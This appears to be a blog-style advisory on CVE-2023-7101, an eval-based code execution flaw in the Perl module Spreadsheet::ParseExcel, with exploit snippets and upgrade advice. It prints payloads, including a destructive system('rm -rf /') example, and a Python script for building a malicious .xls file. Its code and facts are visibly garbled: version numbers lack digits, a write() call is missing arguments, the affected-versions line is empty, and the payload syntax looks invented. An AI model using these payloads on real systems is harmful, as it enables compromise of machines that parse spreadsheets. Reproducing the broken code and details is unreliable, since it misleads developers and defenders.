CVE-2023-7101 - Critical Code Execution in Spreadsheet::ParseExcel .65—How Excel Files Can Run Perl Code
In late 2023, a severe vulnerability—CVE-2023-7101—came to light in the popular Perl module Spreadsheet::ParseExcel version .65. This module is widely used for reading and processing Excel files in Perl applications. However, the way it handles number format strings opens the door to arbitrary code execution—just by feeding it a specially crafted Excel file.
Let's break down the vulnerability, see how it works, look at example exploit code, and discuss ways to stay safe.
What is Spreadsheet::ParseExcel?
Spreadsheet::ParseExcel is a Perl package designed to read Excel (.xls) binary files. It’s often used for scripts or tools that need to pull data from Excel sheets without using Microsoft software.
What is the CVE-2023-7101 Vulnerability?
The core problem in Spreadsheet::ParseExcel .65 is untrusted input (from an Excel file) being fed into a Perl eval statement. More specifically, when parsing cell number formats, the module directly evaluates format strings from the file without proper validation or sanitization.
> If you parse an untrusted Excel file, any Perl code embedded in a cell’s number format string may get executed on your machine.
How Does the Vulnerability Work?
Excel files can define “number formats”—ways to display numbers, dates, currencies, etc. in cells. In practice, these are meant to be strings like ".00" (for two decimal places) or "$#,##.00" (for money).
But in Spreadsheet::ParseExcel, when parsing such formats, the code does this (simplified for clarity):
my $format_code = $record->{FormatString};
my $display = eval $format_code;
Notice the problem? If $format_code comes from a user-supplied file, and it contains Perl code (like system('rm -rf /')), it will _run_.
Let’s see a minimal, real-world scenario
1. Attacker creates a malicious Excel file where a cell’s number format contains Perl code, e.g., system('calc.exe') or system('touch /tmp/hacked').
Example Excel with Evil Format
You can use oletools or any Excel binary editor—for demo, say the number format is:
[perl]system('calc.exe');.00
(Windows pops calculator; on Linux, try system('touch /tmp/hacked'))
Exploitation Perl Script
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
my $workbook = $parser->parse('evil.xls');
# No explicit eval needed—the module does it internally!
Sample Malicious Excel File Creation
You can write a quick Python script using xlwt to embed evil formats:
import xlwt
book = xlwt.Workbook()
sheet1 = book.add_sheet('Sheet 1')
# Create a custom format with Perl code
evil_format = xlwt.easyxf(num_format_str="[perl]system('touch /tmp/hacked')")
sheet1.write(, , 42, evil_format)
book.save('evil.xls')
References
- CVE-2023-7101 at NVD
- Spreadsheet::ParseExcel CPAN
- GitHub Issue/Disclosure
- Original Advisory at cPanel
How Bad is This?
Very bad. It’s a textbook arbitrary code execution (ACE) flaw. If your Perl process parses Excel files from untrusted sources—users, uploads, emails—your server or local machine can be fully compromised.
Affected versions:
Fix & Prevention
1. Upgrade: If possible, stop using version .65; upgrade to .66 or later which removes the unsafe eval.
Never open untrusted Excel files with vulnerable versions.
3. Sanitize Inputs: If upgrade isn’t possible, manually audit format strings or block files, but this is very hard to do safely.
*If you’re a developer or admin reading this: check if your Perl code parses Excel files using Spreadsheet::ParseExcel. If so, patch immediately.*
Conclusion
CVE-2023-7101 is a reminder that legacy code and third-party libraries can hide dangerous vulnerabilities—sometimes, you just need to open a file to let attackers in. Always keep dependencies updated, and never trust file content from outside your organization.
Stay safe. Upgrade now and audit your input paths!
If you need more details or have a specific scenario, check the GitHub issue thread or visit the NVD entry.
Timeline
Published on: 12/24/2023 22:15:07 UTC
Last modified on: 01/09/2024 20:07:41 UTC